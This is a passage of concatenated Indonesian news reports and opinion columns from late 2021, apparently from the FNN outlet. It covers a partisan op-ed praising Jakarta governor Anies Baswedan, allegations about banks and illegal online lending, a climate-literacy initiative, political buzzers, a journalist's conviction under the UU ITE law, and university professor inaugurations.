menuntaskan amanat warga Jakarta. Sesuai dengan mottonya, "Bangun Kotanya, Bahagia Warganya". Alhamdulillah, lepas dari segala kekurangan dan kelemahannya. Anies berhasil memenuhi keinginan warga Jakarta akan pembangunan yang tidak sekedar menghasilkan pembangunan fisik semata. Pemimpin yang lama mengenyam pendidikan di Amerika, bukan saja menampilkan karakter demokratis dan moderat. Ia juga mampu menyentuh pembangunan pada kedalaman sisi lahiriah dan spiritualitas masyarakat Jakarta yang plural dan heterogen. Anies mampu menangkap aspirasi dan kebutuhan warga Jakarta termasuk yang notabene tidak sedikit kurang beruntung dan termarginalkan oleh pembangunan sebelumnya. Sebut saja beberapa diantara sekian banyaknya. Ada pembangunan rumah aquarium, ada kebijakan air minum murah dan terjangkau. Sampai yang prestisius pembangunan mendunia dari Jakarta Internasional Stadium (JIS). Paling menyentuh dan emosional, ketika pembebasan pajak bumi bangunan (PBB) bagi para pahlawan veteran dan orang atau kelompok yang telah berjasa bagi Kota Jakarta khususnya dan Indonesia pada umumnya. Belum lagi yang fenomenal dan membanggakan bagi seluruh warga Jakarta, soal kemudahan dan pemberian ijin pembangunan (IMB) rumah ibadah umat beragama, terutama selain masjid. Beberapa kebijakan yang sepertinya sepele dan sederhana, namun memberi makna yang dalam bagi warga Jakarta secara sosiologis dan psiko politik. Anies tidak hanya memanusiakan manusia warga Jakarta. Belum lagi segudang prestasi yang telah ditorehkan dan mungkin sudah sulit dihitung. Secara prinsip dan mendasar, Anies juga menampilkan figur kuat dalam dirinya yang jauh dari intoleran, radikalis dan apalagi fundamentalis. Mengusung kebhinnekaan dan kemajemukan Indonesia. Cucu dari pahlawan nasional Rasyid Baswedan itu. Telah nyata dan terus-menerus mewujudkan Panca Sila dalam tindakan, ketimbang sekedar kata-kata atau slogan. Kedua, Anies ini juga harus menghadapi serangan-serangan dari luar yang berbasis politis tendensius dan sangat personal. Hal yang juga menjadi handicap tersendiri, meskipun pada dasarnya bukan menjadi masalah substansi dan esensial. Anies cukup lama menjadi sasaran ketidaksukaan dan kebencian dari suatu kelompok atau kepentingan baik dari Jakarta ataupun kalangan pusat. Beberapa diantaranya partai politik seperti PDIP dan PSI. Kedua kekuatan politik yang ada di parlemen dan wilayah eksekutif. Mereka semacam sedang menyusun agenda yang terskenario. Mereka juga didukung oleh beberapa pendengung, influencer hingga buzzer yang intensif dan masif merongrong Anies. Sepanjang Anies memimpin Jakarta, sepanjang itu pula, siasat menggerus dan mengganjal Anies berlangsung. Terakhir belakangan ini, bagai dagelan dan sinetron pajang. Formula E ditayangkan terus oleh penyuka isu, intrik dan fitnah, guna menghimpun kekuatan dan konspirasi jahat melumpuhkan Anies. Namun semua itu tidak membuat goyah gubernur yang dikenal santun, cerdas dan berwibawa itu. Anies Baswedan tetap tenang, santun dan humanis. Ia bahkan tidak kehilangan senyum dan akal sehat betapapun hujatan dan hinaan menderanya. Anies tidak kehilangan kesantunan budi pekerti dan teguh menjunjung adab. Tidak seperti kebanyakan pejabat yang lepas kendali emosinya saat dalam posisi 'under pressure' atau hanya sekedar bergaya. Gambaran dari birokrat yang temperamen dan suka marah-marah di depan publik tapi ingin disebut pemimpin. Begitulah produk kepemimpinan di luar sana yang sudah mewabah. Kepemimpinan semu yang hanya dan ditopang bermodalkan pencitraan. Anies sangat-sangat jauh dari semua itu. Anies pada akhirnya harus ikhlas dan sabar, namun harus terus fokus membangun Jakarta. Sebagai pemimpin, ia kudu bisa menerima hal-hal yang kurang menyenangkan dan terasa pahit bagi dirinya. Betapapun keberhasilannya masih dipandang buruk dan derasnya sikap merendahkan dari orang lain. Justru hal seperti itulah yang yang semakin mematangkan dan membuat Anies menjadi lebih bijak. Anies hendaknya bisa memetik buah dan hikmah perjalanan sejarah Indonesia. Dalam hal kepemimpinan, banyak tokoh dan pejuang yang begitu besar pengorbanan dan jasanya. Tidak pernah berhenti mengalami kesulitan dan tantangan. Sebagian besar pemimpin itu mengokohkan dirinya dalam jalan penderitaan hidup. Bahwasanya menjadi pemimpin itu merupakan penyerahan diri. Pemimpin itu keseluruhannya melayani dan berkorban. Seperti banyak disampaikan oleh pemimpin-pemimpin yang mashur dan layak diteladani. Bahwasanya jalan kepemimpinan itu adalah jalan penderitaan. Terus semangat buat Anies. Kritik dan gerakan menjatuhkan sekalipun, tetaplah dilihat sekaligus dimaknai pada hakekatnya semakin menguatkan tegaknya kepemimpinan. Anies yang humanis walaupun dilumuri skeptis. Jangan kendor dan konsisten pada Jakarta. Terus berupaya bangun kotanya dan bahagia warganya. Rakyat baik Jakarta dan seantero Indonesia, seiring waktu memahami siapa pemimpin sesungguhnya dan siapa pemimpin yang abal-abal. Semoga mampu dan mewujud, Anies menepis pesimis. Lanjutkan! Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Bank-Bank Besar Diduga Terlibat Kejahatan Pinjol Ilegal

Oleh : Yudi Syamhudi Suyuti *) PERSOALAN Pinjaman Online Ilegal (Pinjol Ilegal) merupakan kejahatan keuangan yang sistematis. Dan ini terbangun rantai kejahatan yang diduga melibatkan keterlibatan banyak pihak. Ada potensi bank-bank besar, baik dari swasta maupun BUMN masuk dalam rantai transaksi kejahatan keuangan Pinjol Ilegal. Hal ini berkaitan transaksi yang menggunakan pihak perbankan sebagai terminal keluar masuknya uang untuk praktek ilegal atau justru uang yang berpotensi didapatkan dari hasil ilegal. Seperti pencucian uang dari kejahatan korupsi, perdagangan narkoba, perdagangan manusia atau jual beli senjata gelap. Bahkan berpotensi untuk pendanaan teroris. Praktek Pinjol Ilegal sendiri terindikasi melanggar Undang-Undang Perbankan, Penyalahgunaan atau peraturan tentang izin transaksi keuangan yang telah diatur negara, di antaranya: Undang-Undang Nomor 10 Tahun 1998 tentang Perubahan atas Undang-Undang Nomor 7 Tahun 1992 tentang Perbankan (“UU Perbankan”) mengatur bahwa pihak yang menghimpun dana dari masyarakat dalam bentuk simpanan tanpa izin usaha dari Pimpinan Bank Indonesia dapat dikenakan pidana penjara sekurang-kurangnya lima tahun dan paling lama 15 tahun serta denda sekurang-kurangnya Rp10 miliar dan paling banyak Rp200 miliar.[2] Jika dilakukan oleh badan hukum yang berbentuk perseroan terbatas, perserikatan, yayasan atau koperasi, maka penuntutan terhadap badan-badan dimaksud dilakukan baik terhadap mereka yang memberi perintah melakukan perbuatan itu atau yang bertindak sebagai pimpinan dalam perbuatan itu atau terhadap kedua-duanya. Berdasarkan PBI No. 22/23/PBI/2020 tentang Sistem Pembayaran (PBI SP), penyelenggara jasa sistem pembayaran Pembayaran yang dilakukan oleh lembaga Perbankan atau Non Perbankan, diwajibkan untuk mendapatkan izin dari BI. Pemberian izin berdasarkan kategori izin yang terdiri atas: - kategori izin satu: (a) penyediaan informasi Sumber Dana; (b) payment initiation dan/atau acquiring services; (c) penatausahaan Sumber Dana dan (d) layanan remitansi; - kategori izin dua : (a) penyediaan informasi Sumber Dana; dan (b) inisiasi pembayaran dan/atau memperoleh layanan ; dan/atau - kategori izin tiga : (a) layanan remitansi; dan/atau (b) lainnya yang ditetapkan BI. Dalam hal izin, BI memberikan izin berdasarkan: (1) hasil penelitian perizinan dan pemeriksaan lapangan ( on site visit ); (2) hasil penelitian perizinan dan hasil uji coba pengembangan inovasi teknologi Sistem Pembayaran yang dinyatakan berhasil. Aturan ini menekankan bahwa Bank-Bank atau lembaga-lembaga pembayaran non perbankan yang menjadi terminal keluar masuknya uang harus mendapatkan izin dari BI setelah diadakannya penelitian mendalam. Sanksi-sanki atas perbankan ini jika terbukti melakukan transaksi keuangan ilegal atau melakukan praktek meskipun berbadan legal, dapat dikenakan sanksi. BI dapat mengenakan sanksi administratif: (1) teguran; (2) denda; (3) penghentian sementara, sebagian, atau seluruh kegiatan pelaksanaan kerja sama; dan/atau (4) pencabutan izin. Sedangkan dalam pengkategorian pencucian uang, beberapa hal ini dapat kita lihat dari kesepakatan Indonesia dengan Financial Action Task Force (FATF). Merujuk pada FATF, dalam konteks Indonesia terdapat Undang Undang No. 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang (UU PPTPPU) yang menjelaskan bahwa Transaksi Keuangan Mencurigakan (TKM) meliputi : 1.Transaksi Keuangan yang menyimpang dari profil, karakteristik, atau kebiasaan pola. 2. Transaksi dari Pengguna Jasa yang bersangkutan; Transaksi Keuangan oleh Pengguna Jasa yang patut diduga dilakukan dengan tujuan untuk menghindari pelaporan Transaksi yang bersangkutan yang wajib dilakukan oleh Pihak Pelapor sesuai dengan ketentuan Undang-Undang ini; 3.Transaksi Keuangan yang dilakukan atau batal dilakukan dengan menggunakan Harta Kekayaan yang diduga berasal dari hasil tindak pidana; atau 4.Transaksi Keuangan yang diminta oleh PPATK untuk dilaporkan oleh Pihak Pelapor karena melibatkan Harta Kekayaan yang diduga berasal dari hasil tindak pidana. Selain itu, terdapat beberapa indikator umum yang termasuk dalam Transaksi Keuangan Mencurigakan, antara lain: 1.Tidak memiliki tujuan ekonomi dan bisnis yang jelas; 2. Menggunakan uang tunai dalam jumlah yang relatif besar dan/atau dilakukan secara berulang-ulang di luar kewajaran; atau 3. Aktivitas Transaksi nasabah di luar kebiasaan dan kewajaran. Dari alur transaksi Pinjol Ilegal yang terjadi di Indonesia, terdapat Bank-Bank dan Lembaga-Lembaga Non Perbankan yang wajib dimintai keterangan oleh Kepolisian dan Bank Indonesia, karena lembaga-lembaga keuangan tersebut masuk dalam rantai transaksi kejahatan Pinjol Ilegal. Selain itu tentu pihak Bank-Bank atau Lembaga-Lembaga Non Perbankan tersebut sudah pasti dapat mengetahui secara detil aliran keuangan yang ditransaksikan di dalam sistem keuangannya tersebut. *) Koordinator Eksekutif JAKI (Jaringan Aktivis Kemanusiaan Internasional)

Partai Gelora Ajak Semua Pihak Berkolaborasi Berikan Literasi Perubahan Iklim kepada Masyarakat

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta mengajak BMKG, perguruan tinggi dan semua pihak untuk ikut serta dalam berkolaborasi memberikan literasi perubahan iklim kepada masyarakat. Literasi ini penting agar masyarakat mendapatkan informasi awal dan mengetahui bagaimana cara melakukan mitigasi, terhadap dampak perubahan iklim, terutama dalam sektor pertanian dan kelautan. "Jadi ada tindak lanjut yang bisa kita kolaborasikan, yaitu program literasi iklim kepada petani dan nelayan," kata Anis Matta dalam Gelora Talk bertajuk 'Ancaman Climate Change, Bagaimana Sektor Pertanian dan Kelautan Nasional Menghadapinya?', Rabu (24/11/2021). Menurut Anis Matta, masyarakat bisa melakukan mitigasi apabila mendapatkan informasi awal , sehingga hal itu membawa dampak pada peningkatan kesejahteraan mereka. Ketua Umum Partai Gelora ini berharap Badan Meteorologi, Klimatalogi dan Geofisika (BMKG) dan perguruan tinggi bisa mempelopori program literasi perubahan iklim ini. "Jadi program literasi iklim ini, saya kira tema kerja sama yang sangat menarik, memberikan penjelasan kepada masyarakat maupun pelatihan-pelatihan," katanya. Salah satu cara memberikan literasi tersebut, antara lain melalui ajakan untuk menanam pohon untuk menghadapi perubahan iklim. Pada 28 November nanti, Partai Gelora akan mencanangkan program Gelora Tanam 10 Juta Pohon di Jawa Barat. "Jika kader kami saat ini lebih dari setengah juta orang, maka kira-kira setiap kadernya akan menanam sekitar 20 pohon terhitung dalam dua tahun ke depan, terhitung dari dari tanggal 28 November sampai dengan November 2023," katanya. Partai Gelora, lanjutnya, ingin menginspirasi masyarakat untuk menanam pohon. Sebab, dampak perubahan iklim itu merupakan ancaman keamanan nasional, selain ancaman keselamatan dan kelangsungan hidup kita di planet ini. "Selama ini, respon terhadap isu perubahan iklim dinilai masih 'slow respon', padahal dibutuhkan 'sense of urgency' (keterdesakan), respon cepat dan tanggungjawab bersama," katanya. Kepala Pusat Layanan Informasi Iklim Terapan, BMKG Dr. Ardhasena Sopaheluwakan mengatakan, dalam menyikapi perubahan iklim ini, BMKG telah membuat Sekolah Iklim yang memberikan pelatihan lapangan kepada petani dan nelayan. "Kita memberikan layanan informasi cuaca ekstrem untuk para petani untuk meningkatkan produktivitasnya. Kalau nelayan, kita memberikan berbagai macam prediksi gelombang dan arus," ujar Ardhasena. Sementara Wakil Dekan FMIPA IPB Dr Akhmad Faqih mengatakan, IPB telah memberikan bantuan kepada pemerintah untuk melakukan penyebaran informasi mengenai penanggulangan bencana dan adaptasinya. "Kami juga terlibat memberikan pelatihan di 10 kota, bagaimana agar mereka bisa menyusun sistem informasi adaptasi perubahan iklim," kata Akhmad Faqih. Ketua Bidang Lingkungan Hidup DPN Partai Gelora Rully Syumanda menambahkan, literasi perubahan iklim ini diperlukan untuk menjelaskan kebingungan semua pihak, bagaimana memulai upaya menghadapi perubahan iklim tersebut. "Perlu kerjasama seluruh pihak untuk menjelaskan tentang perubahan iklim itu seperti apa? Bagaimana saya melakukannya, bagaimana saya memulainya?. Itulah pertanyaan kebingungan kita, sehingga perlu ada literasi perubahan iklim," kata Rully. Hal senada disampaikan mantan Anggota Komisi IV DPR Rofi' Munawar. Rofi' mengatakan, keseriusan terhadap upaya adaptasi dan mitigasi terhadap perubahan iklim saat ini dipertanyakan. "Apakah betul kita sudah melakukan kegiatan adaptasi yang bersesuaian, atau kegiatan mitigasi tersebut bisa mereduksi emisi kita. Artinya pengukuran verifikasi secara tidak langsung juga penting, bukan hanya janji-janji," kata Rofi'. (sah)

Cekcok di Bandara: Pandangan Beyond The Law

Oleh Ridwan Saidi SEJAK tahun 1978 selama empat tahun, saya menjabat Wakil Ketua Komisi X DPR RI yang antara lain membidangi lingkungan hidup. Lima tahun berikutnya saya masih di Komisi X sebagai anggota saja. Saya akrab dengan Pak Emil Salim selaku Menteri Lingkungan Hidup. Sembilan tahun berbeda pendapat sambil bersahabat, behaviour elit politik jaman itu sangat oke. Laksamana Soedomo, Kepala Staf Kopkamtib, kalau bicara tak kehilangan humor. Ketika ada yang mengajukan pertanyaan, kenapa pemerintah tak pernah menegur perokok, apa karena cukai tembakau oke buat penerimaan negara, Pak Domo menjawab, terkait penerimaan Negara dari cukai tembakau wewenang Menkeu untuk menjawab. Saya hanya mencoba memahami kenapa banyak orang merokok. Saya tinjau home industry rokok di Jateng, pekerjanya kaum wanita. Mereka melinting rokok manual sambil garuk-garuk kéték. Pak Domo menirukan. Rupanya ini yang menyebabkan orang suka merokok. Tawa hadirin meledak. Saya sangat sedih suatu hari menyaksikan acara debat di TV, Pak Emil sedang bicara di-potong-potong terus oleh seorang anggota DPR. Ini tak layak apalagi usia mereka jauh berbeda. Kalau di wayang golek hal seperti itu tak terjadi karena sumber suara satu: Ki dalang. Wayang golek juga kalau bicara harus menuding-nuding agar penonton tahu siapa yang lagi bicara: Gatotkaca apa Arjuna. Satu dua hari ini media mewartakan angggota DPR, yang debat dengan Pak Emil, beserta ibunya sejak pesawat landing hingga ke tempat pengambilan barang di Bandara, terlibat keributan dengan seorang wanita muda. Saya tak berhak judge mana yang benar, kesan saya keributan itu sangat tidak mengenakkan putra dan ibunya. Lebih-lebih sang putra, tentu dapat dipahami. Insiden ini mungkin sulit dilupakan. Bahasa Indonesia dan daerah tidak punya kata asli untuk perkakas kelamin dan hubungan seks. Semua resapan. Pada dasarnya peradaban Indonesia halus. Menjadi kasar, terutama dalam perpolitikan, selama 20 tahun terakhir. Kekasaran itu merusak keseimbangan semesta alam. Maka akan terjadi re-equilibrium. Bisa skala personal, bisa juga nasional. *) Budayawan

Buzzer Itu Agitprop Amatiran

Oleh M Rizal Fadillah Baru di rezim ini Istana menggunakan buzzer untuk memproteksi dan menyosialisasikan kebijakannya. Dengungan para buzzer mengisi jagad maya bukan saja dalam makna proteksi dan sosialisasi konstruktif tapi juga pencemaran, hoaks, dan fitnah. Target sengatan dan dengungan adalah para oposan dan pengkritik Pemerintah. Ulama dan aktivis keagamaan juga sering terkena ocehan kadrunisasinya. Buzzer itu divisi kominfo informal Istana. Konon bayaran, baik reguler atau per proyek. Ketika bayaran tersendat suara buzzer agak sumbang. Bila membandingkan dengan Pemerintahan komunis maka fungsi atau pekerjaan untuk menanamkan keyakinan kebenaran dari suara Pemerintah itu dikerjakan oleh yang namanya Departemen Agitasi dan Propaganda atau Agiprop. Bekerja terstruktur, sistematis, dan tentu berbiaya besar. Awalnya Agitprop dikenal dari Bolshevist Rusia. Departemen Agitasi dan Propaganda ini merupakan bagian dari Komite Partai Komunis Uni Sovyet baik Pusat maupun Daerah. Tugasnya menyampaikan dan menanamkan ideologi dan program atau kebijakan pemerintah. Hal yang biasa di negara komunis. Di negara demokrasi seperti Inggris, Agitprop dilakukan oleh kelompok sayap kiri untuk menggalang simpati serta mendoktrin kan ideologi dan misi politik perjuangan kirinya. Di Indonesia PKI lah yang memiliki Departemen Agitasi dan Propaganda. Menyebarkan isu perjuangan wong cilik, jaminan kesehatan, tanah untuk rakyat, pendidikan hingga rekreasi. Spiritnya anti borjuasi dan imperialisme. Di sisi lain musuh perjuangannya adalah Masyumi, partai berbasis agama. Akibat agitasi dan propagandanya Soekarno membubarkan Masyumi. Hal hal yang menjauhkan agama menjadi isu dari agitasi dan propagandanya pula. Istilah kadal gurun atau kadrun dipopulerkan untuk memojokkan aktivis keagamaan, santri, dan ulama. Ide fundamental komunis adalah Islamophobia bahkan anti agama. Agama sebagai candu dan penghambat kemajuan. Buzzer adalah agitprop rintisan. Sumber daya manusianya belum sekualitas kader PKI apalagi anggota Departemen Agitasi dan Propaganda di negara-negara komunis. Akan tetapi semangat membela kekuasan "right or wrong" patut diacungi jempol. Meski jelas dominasi dan orientasi materi cukup kuat. Netizen menjuluki dengan buzzeRp. Mungkin maksudnya mata duitan. Kecanggihan dalam beragitasi dan propaganda serta mengolah media tidak terlalu canggih. Masih banyak anggota pasukan yang berprofil cengengesan atau imut-imut. Mudah untuk diserang balik atas isu-isu yang dilemparnya. Buzzer adalah Agitprop amatiran. Dan Istana juga sering dibuat kikuk oleh ulahnya. Buzzer itu perusak demokrasi dan menjadi squad demoralisasi. Keberadaannya tidak boleh dilestarikan karena di samping hanya menjadi sampah dari kultur politik luhur, juga wujud dari pemerintahan yang lemah. Pemerintah yang butuh penopang dari kaum dagelan yang aktingnya tidak lucu dan menyebalkan. *) Pemerhati Politik dan Kebangsaan

PWI : Menghukum Wartawan Asrul Ancaman Nyata Kemerdekaan Pers

Jakarta, FNN - Majelis hakim Pengadilan Negeri (PN) Palopo, Selasa (23/11) memutuskan jurnalis berita.news Muhamad Asrul bersalah dengan pidana penjara 3 bulan penjara, dalam nomor perkara 46/Pid.Sus/2021/PN Plp. Meskipun vonis ini lebih ringan dari tuntutan Jaksa Penuntut Umum, yakni pidana 1 tahun penjara karena dituduh melanggar Pasal 45 ayat 1 jo Pasal 27 ayat 3 Undang-Undang Informasi dan Transaksi Elektronik (UU ITE). Namun putusan majelis ini jelas menjadi pukulan telak bagi kemerdekaan pers di Indonesia. Ketua PWI Bidang Pembelaan PWI Pusat H Oktap Riyadi SH menyesalkan putusan hakim tersebut. Ia menilai PN kota Palopo tidak mempertimbangkan Dewan Pers (DP) dan itu mencederai kebebasan pers. “Ini artinya sama saja tidak menghargai dewan pers. Rekomendasi DP dianggap angin lalu. Seharusnya dewan hakim mempertim- bangkan Rekomendasi DP. Rekomendasi DP menyatakan tulisan Asrul merupakan produk jurnalis,” ujar Oktav, Kemarin sore. Menurut Oktap yang bisa diadili itu bila postingan bersifat pribadi atau sifatnya bukan Berita baru bisa diadili sesuai UU ITE. Seharusnya sejak awal Polisi bisa menghentikan perkara itu. Apalagi sudah ada Surat Edaran Mahkamah Agung (SEMA) No.13 Tahun 2008 tentang meminta keterangan saksi ahli. Dinyatakan bawa majelis hakim yang mengadili perkara delik pers harus meminta kesaksian ahli pers dalam mengambil keputusan. Hakim Mnta Kterangan DP Dalam SEMA itu menyatakan bahwa hakim bisa meminta keterangan saksi ahli Bidang pers. Dalam penanganan atau pemeriksaan perkara-perkara yang terkait dengan delik pers. Hedaknya majelis mendengar dan meminta penjelasan dari saksi dari DP. Karena merekalah para ahli pers ini mengetahui seluk beluk tentang pers secara terori maupun praktek. Ketika hakim mendengarkan keterangan ahli pers, seharusnya majelis hakim membebaskan Asrul, artinya perkara ini tidak bisa diadili di pengadilan. Karya jurnalistik tidak bisa dipidana, tapi harus diselesaikan dan dimediasi di DP. “Vonis hakim PN Palopo preseden buruk terhadap kebebasan pers. Ini pukulan berat bagi wartawan dan secara tidak Langung mencoreng wajah kebebasan pers di negeri ini,” ujar Oktap Riyadi, Ketua Bisang pembelaan wartawan PWI Pusat. Pertimbangan Hakim Sebagaimana diketahui Dalam pertimbangan hakim yang dibacakan, menegaskan berita.news dengan badan hukum PT. Aurora Media Utama telah memenuhi ketentuan Standar Perusahaan Pers yang diatur dalam UU Pers. Majelis hakim juga sekaligus menolak dakwaan jaksa yang menyebut berita yang ditulis Asrul dilakukan pada saat berita.news sebelum adanya badan hukum, 10 Mei 2019. Menurut Majelis Hakim pengesahan badan hukum di Kemenkumham hanya terkait dengan tanggung jawab perdata atas perbuatan-perbuatan hukum para pendiri dalam mengelola perusahaan yang memiliki konsekwensi berbeda sebelum dan sesudah disahkan, dan selain pengesahan tersebut telah dalam proses pengajuan, badan hukum PT. Aurora Media Utama telah berdiri pada tanggal 15 April 2019. Selanjutnya majelis Hakim juga beranggapan, berita.news tetap merupakan media sebagaimana diatur dalam UU Pers meski belum terverifikasi di Dewan Pers. Verifikasi merupakan bagian dari komitmen perusahaan Pers yang bersedia meratifikasi Peraturan Dewan Pers dan melaksanakannya yakni Standar Perusahaan Pers, Standar Kompetensi Wartawan, Kode Etik Jurnalistik dan Standar Perlindungan Wartawan. Majelis hakim juga mengamini status Asrul sebagai wartawan meski belum mengantongi sertifikasi kompetensi wartawan. Dalam pertimbangannya, sertifikasi sama halnya verifikasi perusahaan pers yang dibuat untuk meningkatkan profesionalisme wartawan melalui pendidikan dan pelatihan jurnalistik . Majelis hakim dalam pertimbangannya juga menyebut berita-berita yang menjadi pokok perkara yang diadukan merupakan produk jurnalistik. Akan tetapi berita-berita tersebut telah melanggar Kode Etik Jurnalistik karena memuat berita yang tidak akurat, tidak berimbang, tidak ada konfirmasi, dan memuat opini yang cenderung menghakimi. Seperti diketahui berita yang ditulis Asrul terkait dugaan tindak pidana korupsi pada proyek PLTMH, Keripik Zaro, Pengadaan kandang ayam, Instalasi Pipa Telluwanua, Pembangunan Taman Kirab, Jalan Lingkar Barat dan Revitalisasi Lapangan Pancasila Palopo. Asrul sendiri sebelumnya didakwa dengan pasal berlapis, yakni tuduhan penyebaran berita bohong (Pasal 14 Ayat (1) UU No. 1 Tahun 1946); penyebaran informasi bermuatan kesusilaan (Pasal 45A Ayat (2) jo 28 Ayat (2) UU ITE); dan pencemaran nama baik (Pasal 45 ayat 1 jo Pasal 27 ayat 3 UU ITE). Dua pasal dakwaan pertama dan kedua diketahui memiliki ancaman hukuman di atas lima tahun sehingga di awal penetapan tersangka, Asrul langsung ditahan oleh Polda Sulsel sejak 30 Januari hingga 6 Maret 2020 (36 hari). Namun dalam putusan, hanya pasal terakhir yang dianggap memenuhi unsur pidana dengan ancaman di bawah lima tahun. Selain itu, Dewan Pers sebagai lembaga yang diberi wewenang oleh UU Pers untuk menilai produk pers dan mengupayakan penyelesaian sengketa pers telah mengeluarkan penilaian tertulis pada 10 Februari 2020. Dewan Pers menyatakan bahwa ketiga tulisan Asrul merupakan produk jurnalistik sehingga meminta Kepolisian untuk memroses sengketa melalui Dewan Pers sesuai dengan Nota Kesepahaman antara Dewan Pers dan Kepolisian Negara Republik Indonesia Nomor 2/DP/MOU/II/2017. Berdasarkan fakta-fakta di atas, Koalisi Advokat untuk Kemerdekaan Pers dan Berekspresi berpendapat: 1. Vonis 3 Bulan Penjara yang dijatuhkan Majelis hakim kepada Jurnalis Asrul karna melakukan Penghinaan dan Pencamaran Nama baik UU ITE, adalah Preseden buruk bagi perlindungan Kemerdekaan Pers dan Demokrasi. Hakim telah mengakui dalam putusannya bahwa berita.news sebagai media pers, Asrul sebagai wartawan, dan berita yang dipermasalahkan sebagai produk jurnalistik. Dalam hal yang dipersoalkan adalah Produk Jurnalistik maka pertanggungjawabannya ada di penanggungjawab media, bukan individu jurnalis. Selain itu, jurnalis yang mengerjakan tugas jurnalistiknya dan menerbitkan produk jurnalistik semestinya tidak dapat dipidana karena menjalankan fungsi berdasarkan UU Pers dan jika mengacu pada SKB pedoman penerapan UU ITE, produk jurnalistik tidak merupakan delik dalam Pasal 27 ayat (3). 2. Putusan ini juga menjadi anomali di tengah kritik tajam dan terhadap UU ITE, yang saat ini masuk dalam prolegnas untuk direvisi karena telah menelan banyak korban kriminalisasi termasuk jurnalis. Pemidanaan terhadap produk jurnalistik dengan UU ITE sebagai bukti tidak efektifnya penerbitan Surat Keputusan Bersama tentang Pedoman Implementasi UU ITE. Sehingga pemerintah dan DPR mesti melakukan revisi terhadap pasal-pasal yang bermasalah, dan bukan menambah pasal yang lebih berbahaya. 3. Penerapan pasal-pasal secara serampangan oleh aparat penegak hukum terhadap Asrul menimbulkan kesan adanya relasi asimetrik, dimana UU ITE dipakai oleh orang berkuasa untuk memenjarakan siapa saja. 4. Atas putusan tersebut Koalisi akan mengajukan upaya hukum banding ke Pengadilan Tinggi Makassar. Koalisi Advokat Untuk Kemerdekaan Pers dan Berekspresi LBH Makassar, LBH Pers, SAFEnet). (mth)

Dubes AS Siap Kerja Sama dengan Alumnas Perkuat Hubungan Bilateral

Jakarta, FNN - Duta Besar Amerika Serikat (AS) untuk Indonesia Sung Y Kim menyatakan pihaknya siap bekerjasama dengan Perkumpulan Alumni Amerika Serikat (Alumnas) untuk memperkuat kerjasama bilateral Indonesia - AS. Saat menjadi pembicara dalam Alumas Summit yang digelar secara virtual di Jakarta, Rabu, Dubes AS menyatakan alumni perguruan tinggi Amerika Serikat memainkan peranan penting dalam hubungan strategis antara Amerika Serikat dan Indonesia. "Saya sangat berkeinginan untuk berkolaborasi dengan Alumnas guna memperkuat hubungan bilateral kedua negara," ujar Sung Kim sebagaimana keterangan tertulis dari Alumnas yang diterima di Jakarta, Rabu. Pihaknya menyatakan ingin bekerja sama dengan Alumnas dalam memajukan prioritas-prioritas kedua negara sejalan dengan menguatnya hubungan bilateral kedua negara dan jalinan hubungan antarmanusia. Sementara itu kegiatan Alumnas Summit perdana yang mengusung tema “Indonesia Rising” digelar selama 24 – 25 November 2021. Menurut Ketua Panitia Alumnas Summit dan Managing Director KIB Consulting Bambang Suwarso, dalam dua hari perhelatan itu, Alumnas menampilkan para alumni perguruan tinggi Amerika Serikat untuk membagi wawasan tentang tren terkini di berbagai bidang seperti ekonomi, kewiraswastaan wanita, energi, lingkungan, tata sosial, perpajakan, pangan, seni busana, kota pintar dan topik-topik lainnya. "Kita mengharapkan pembicaraan dan diskusi penting ini akan memberikan pencerahan kepada kita semua dalam menghadapi normalitas kehidupan baru di Indonesia seiring dengan meredanya kasus COVID-19," ujarnya. Pada kesempatan itu Menteri Perdagangan M. Lutfi mengatakan seiring dengan pulihnya ekonomi di tahun ini, perdagangan Indonesia juga tumbuh dengan sangat positif dengan mencatatkan beberapa rekor yang membanggakan. Pertumbuhan yang besar tersebut, lanjutnya, harus dimanfaatkan anak muda Indonesia dengan menjadi entrepreneur di bidang teknologi. "Pelaku usaha muda harus menciptakan disrupsi ekonomi digital dan harus menciptakan nilai tambah di Indonesia,” ujar Mendag. (mth)

UPI Miliki Tujuh Guru Besar Baru Setelah Empat Profesor Dikukuhkan

Bandung, FNN - Universitas Pendidikan Indonesia (UPI) memiliki tujuh guru besar baru setelah empat profesor dikukuhkan menjadi guru besar pada bidangnya masing-masing di Gedung Achmad Sanusi, Kampus UPI Bandung, Jawa Barat, Rabu. Rektor UPI Prof Solehuddin mengatakan ketika akademisi menjadi guru besar maka predikat kepakaran pun bakal melekat sehingga kepakaran itu perlu diwujudkan dalam bidangnya masing-masing. "Namun tentu kepakaran yang kita wujudkan itu harus berbasis pada moralitas," kata Solehuddin. Adapun empat profesor yang dikukuhkan menjadi guru besar itu yakni Prof Dr Endang Rochyadi sebagai Guru Besar UPI Bidang Ilmu Pendidikan Khusus Anak dengan Hambatan Intelektual, lalu Prof Dr Nandang Rusmana sebagai Guru Besar UPI Bidang Bimbingan dan Konseling. Kemudian Prof Dr Tatang Muhtar sebagai Guru Besar UPI Bidang Ilmu Pedagogi Olahraga, dan Prof Dr Ayi Suherman yang juga dikukukan sebagai Guru Besar UPI dalam Bidang Ilmu Pedagogi Olahraga. Sebelumnya pada Selasa (23/11), UPI telah mengukuhkan tiga profesor di bidangnya masing-masing. Sementara itu, Ketua Dewan Guru Besar (DGB) Prof Karim Suryadi mengatakan label guru besar itu perlu dijadikan bab baru bagi kehidupan akademis para profesor tersebut. "Mudah-mudahan Allah memberi kekuatan kepada kita untuk memberikan sumbangan permanen bagi perkembangan teknologi," katanya. Adapun dalam pengukuhan tersebut, empat guru besar yang baru dikukuhkan itu menyampaikan risetnya masing-masing sesuai dengan bidangnya. Prof Dr Endang Rochyadi dalam risetnya yang berjudul Intervensi Anak dengan Hambatan Intelektual dalam Perspektif Pendidikan Khusus, menjelaskan hambatan intelektual disinyalir akibat penggunaan prinsip dengan cara-cara lama. "Cara-cara lama tidak lagi sejalan dengan filosofi intervensi, perkembangan ilmu pengetahuan dan teknologi," kata Endang. Dari beberapa penelitian yang dilakukan terkait masalah interevensi berbasis keluarga, menurutnya menunjukan hasil yang signifikan terhadap perubahan perilaku dan sikap penerimaan keluarga terhadap kondisi anaknya menjadi sangat terbuka. "Di sisi lain perkembangan belajar anak baik secara akademik maupun perkembangan dapat diaktualisasikan keluarga dengan baik," katanya. Sementara itu, Prof Dr Nandang Rusmana menyampaikan risetnya dengan judul Konseling Permainan Kelompok Bagi 